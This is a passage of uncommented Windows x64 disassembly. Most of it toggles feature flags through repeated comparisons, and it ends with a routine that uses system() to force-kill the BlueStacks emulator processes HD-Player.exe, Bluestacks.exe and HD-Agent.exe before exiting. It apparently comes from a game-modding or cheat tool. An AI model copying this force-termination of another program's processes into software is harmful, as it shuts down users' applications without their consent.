jne 0x14005a384
cmp byte [rsp + 0x63], 0
je 0x14005a3d6
test dil, dil
jmp 0x14005a3c6
cmp eax, 6
jne 0x14005a395
cmp byte [rsp + 0x64], 0
je 0x14005a3d6
test sil, sil
jmp 0x14005a3c6
cmp eax, 7
jne 0x14005a3a6
cmp byte [rsp + 0x65], 0
je 0x14005a3d6
test r14b, r14b
jmp 0x14005a3c6
cmp eax, 8
jne 0x14005a3b7
cmp byte [rsp + 0x66], 0
je 0x14005a3d6
test r15b, r15b
jmp 0x14005a3c6
cmp eax, 9
jne 0x14005a3d6
cmp byte [rsp + 0x67], 0
je 0x14005a3d6
test r12b, r12b
jne 0x14005a3d6
cmp byte [0x140370e54], 0
sete byte [0x140370e54]
mov eax, dword [0x140370eb8]
cmp eax, 1
jne 0x14005a3fd
test r13b, r13b
je 0x14005a45a
test r9b, r9b
jne 0x14005a45a
cmp byte [0x140370e48], 0
sete al
mov byte [0x140370e48], al
jmp 0x14005a461
cmp eax, 2
jne 0x14005a40b
test dl, dl
je 0x14005a45a
test r10b, r10b
jmp 0x14005a3e9
cmp eax, 3
jne 0x14005a419
test cl, cl
je 0x14005a45a
test r11b, r11b
jmp 0x14005a3e9
cmp eax, 4
jne 0x14005a427
test r8b, r8b
je 0x14005a45a
test bl, bl
jmp 0x14005a3e9
cmp eax, 5
jne 0x14005a438
cmp byte [rsp + 0x63], 0
je 0x14005a45a
test dil, dil
jmp 0x14005a3e9
cmp eax, 6
jne 0x14005a449
cmp byte [rsp + 0x64], 0
je 0x14005a45a
test sil, sil
jmp 0x14005a3e9
cmp eax, 7
jne 0x14005a45a
cmp byte [rsp + 0x65], 0
je 0x14005a45a
test r14b, r14b
jmp 0x14005a3e9
movzx eax, byte [0x140370e48]
mov ecx, dword [0x140370ecc]
cmp ecx, 8
jne 0x14005a478
cmp byte [rsp + 0x66], 0
je 0x14005a492
test r15b, r15b
jmp 0x14005a487
cmp ecx, 9
jne 0x14005a492
cmp byte [rsp + 0x67], 0
je 0x14005a492
test r12b, r12b
jne 0x14005a492
test al, al
sete byte [0x140370e48]
mov r8d, dword [0x140370e34]
cmp r8d, 1
jne 0x14005a4c6
test r13b, r13b
je 0x14005a55f
test r9b, r9b
jne 0x14005a55f
cmp byte [0x140370e4b], 0
sete dl
mov byte [0x140370e4b], dl
jmp 0x14005a566
cmp r8d, 2
jne 0x14005a4d9
test dl, dl
je 0x14005a55f
test r10b, r10b
jmp 0x14005a4ab
cmp r8d, 3
jne 0x14005a4eb
cmp byte [rsp + 0x61], 0
je 0x14005a55f
test r11b, r11b
jmp 0x14005a4ab
cmp r8d, 4
jne 0x14005a4fc
cmp byte [rsp + 0x62], 0
je 0x14005a55f
test bl, bl
jmp 0x14005a4ab
cmp r8d, 5
jne 0x14005a50e
cmp byte [rsp + 0x63], 0
je 0x14005a55f
test dil, dil
jmp 0x14005a4ab
cmp r8d, 6
jne 0x14005a520
cmp byte [rsp + 0x64], 0
je 0x14005a55f
test sil, sil
jmp 0x14005a4ab
cmp r8d, 7
jne 0x14005a535
cmp byte [rsp + 0x65], 0
je 0x14005a55f
test r14b, r14b
jmp 0x14005a4ab
cmp r8d, 8
jne 0x14005a54a
cmp byte [rsp + 0x66], 0
je 0x14005a55f
test r15b, r15b
jmp 0x14005a4ab
cmp r8d, 9
jne 0x14005a55f
cmp byte [rsp + 0x67], 0
je 0x14005a55f
test r12b, r12b
jmp 0x14005a4ab
movzx edx, byte [0x140370e4b]
cmp ecx, 1
jne 0x14005a595
test r13b, r13b
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005a6f9
cmp byte [0x140370e49], r9b
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 2
jne 0x14005a5c3
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005a6f9
test r10b, r10b
jne 0x14005a6f9
cmp byte [0x140370e49], r10b
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 3
jne 0x14005a5f4
cmp byte [rsp + 0x61], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005a6f9
cmp byte [0x140370e49], r11b
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 4
jne 0x14005a623
cmp byte [rsp + 0x62], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005a6f9
cmp byte [0x140370e49], bl
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 5
jne 0x14005a654
cmp byte [rsp + 0x63], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005a6f9
cmp byte [0x140370e49], dil
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 6
jne 0x14005a682
cmp byte [rsp + 0x64], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005a6f9
cmp byte [0x140370e49], sil
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 7
jne 0x14005a6a8
cmp byte [rsp + 0x65], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005a6f9
cmp byte [0x140370e49], r14b
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 8
jne 0x14005a6ce
cmp byte [rsp + 0x66], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005a6f9
cmp byte [0x140370e49], r15b
sete byte [0x140370e49]
jmp 0x14005a6f9
cmp ecx, 9
jne 0x14005a6f4
cmp byte [rsp + 0x67], 0
je 0x14005a6f4
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005a6f9
cmp byte [0x140370e49], r12b
sete byte [0x140370e49]
jmp 0x14005a6f9
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x140370ebc]
cmp eax, 1
jne 0x14005a715
test r13b, r13b
je 0x14005a7ab
test r9b, r9b
jmp 0x14005a79b
cmp eax, 2
jne 0x14005a727
test cl, cl
je 0x14005a7ab
test r10b, r10b
jmp 0x14005a79b
cmp eax, 3
jne 0x14005a738
cmp byte [rsp + 0x61], 0
je 0x14005a7ab
test r11b, r11b
jmp 0x14005a79b
cmp eax, 4
jne 0x14005a748
cmp byte [rsp + 0x62], 0
je 0x14005a7ab
test bl, bl
jmp 0x14005a79b
cmp eax, 5
jne 0x14005a759
cmp byte [rsp + 0x63], 0
je 0x14005a7ab
test dil, dil
jmp 0x14005a79b
cmp eax, 6
jne 0x14005a76a
cmp byte [rsp + 0x64], 0
je 0x14005a7ab
test sil, sil
jmp 0x14005a79b
cmp eax, 7
jne 0x14005a77b
cmp byte [rsp + 0x65], 0
je 0x14005a7ab
test r14b, r14b
jmp 0x14005a79b
cmp eax, 8
jne 0x14005a78c
cmp byte [rsp + 0x66], 0
je 0x14005a7ab
test r15b, r15b
jmp 0x14005a79b
cmp eax, 9
jne 0x14005a7ab
cmp byte [rsp + 0x67], 0
je 0x14005a7ab
test r12b, r12b
jne 0x14005a7ab
cmp byte [0x140370e4e], 0
sete byte [0x140370e4e]
mov eax, dword [0x140370e58]
cmp eax, 1
jne 0x14005a7c7
test r13b, r13b
je 0x14005a876
test r9b, r9b
jmp 0x14005a866
cmp eax, 2
jne 0x14005a7dc
test cl, cl
je 0x14005a876
test r10b, r10b
jmp 0x14005a866
cmp eax, 3
jne 0x14005a7f1
cmp byte [rsp + 0x61], 0
je 0x14005a876
test r11b, r11b
jmp 0x14005a866
cmp eax, 4
jne 0x14005a801
cmp byte [rsp + 0x62], 0
je 0x14005a876
test bl, bl
jmp 0x14005a866
cmp eax, 5
jne 0x14005a824
cmp byte [rsp + 0x63], 0
je 0x14005a876
test dil, dil
jne 0x14005a876
cmp byte [0x140370e4c], dil
sete al
mov byte [0x140370e4c], al
jmp 0x14005a87d
cmp eax, 6
jne 0x14005a835
cmp byte [rsp + 0x64], 0
je 0x14005a876
test sil, sil
jmp 0x14005a866
cmp eax, 7
jne 0x14005a846
cmp byte [rsp + 0x65], 0
je 0x14005a876
test r14b, r14b
jmp 0x14005a866
cmp eax, 8
jne 0x14005a857
cmp byte [rsp + 0x66], 0
je 0x14005a876
test r15b, r15b
jmp 0x14005a866
cmp eax, 9
jne 0x14005a876
cmp byte [rsp + 0x67], 0
je 0x14005a876
test r12b, r12b
jne 0x14005a876
cmp byte [0x140370e52], 0
sete byte [0x140370e52]
movzx eax, byte [0x140370e4c]
mov ecx, dword [0x140370e3c]
cmp ecx, 1
jne 0x14005a8ad
test r13b, r13b
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 2
jne 0x14005a8d6
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005a9e2
test r10b, r10b
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 3
jne 0x14005a902
cmp byte [rsp + 0x61], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 4
jne 0x14005a92d
cmp byte [rsp + 0x62], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 5
jne 0x14005a959
cmp byte [rsp + 0x63], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 6
jne 0x14005a97a
cmp byte [rsp + 0x64], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 7
jne 0x14005a99b
cmp byte [rsp + 0x65], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 8
jne 0x14005a9bc
cmp byte [rsp + 0x66], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
cmp ecx, 9
jne 0x14005a9dd
cmp byte [rsp + 0x67], 0
je 0x14005a9dd
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005a9e2
test al, al
sete byte [0x140370e4c]
jmp 0x14005a9e2
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x140370ec0]
cmp eax, 1
jne 0x14005aa17
test r13b, r13b
je 0x14005ab73
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x14005ab78
cmp eax, 2
jne 0x14005aa45
test cl, cl
je 0x14005ab73
cmp eax, 3
jne 0x14005aa73
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x14005ab8f
call fcn.140047740
call fcn.140047aa0
call fcn.140006890
call fcn.14005dd50
mov rcx, qword [0x140370e10]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r13, qword [rsp + 0xba8]
xor eax, eax
mov rsi, qword [rsp + 0xbd8]
movaps xmm12, xmmword [rsp + 0xb30]
movaps xmm11, xmmword [rsp + 0xb40]
movaps xmm10, xmmword [rsp + 0xb50]
movaps xmm9, xmmword [rsp + 0xb60]
movaps xmm8, xmmword [rsp + 0xb70]
movaps xmm7, xmmword [rsp + 0xb80]
movaps xmm6, xmmword [rsp + 0xb90]
mov r14, qword [rsp + 0xba0]
movaps xmm13, xmmword [rsp + 0xb20]
movaps xmm14, xmmword [rsp + 0xb10]
movaps xmm15, xmmword [rsp + 0xb00]
mov rdi, qword [rsp + 0xbe0]
mov rbx, qword [rsp + 0xbd0]
mov r12, qword [rsp + 0xbb0]
add rsp, 0xbb8
pop r15
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, str.taskkill__f__im_HD_Player.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_Bluestacks.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HD_Agent.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3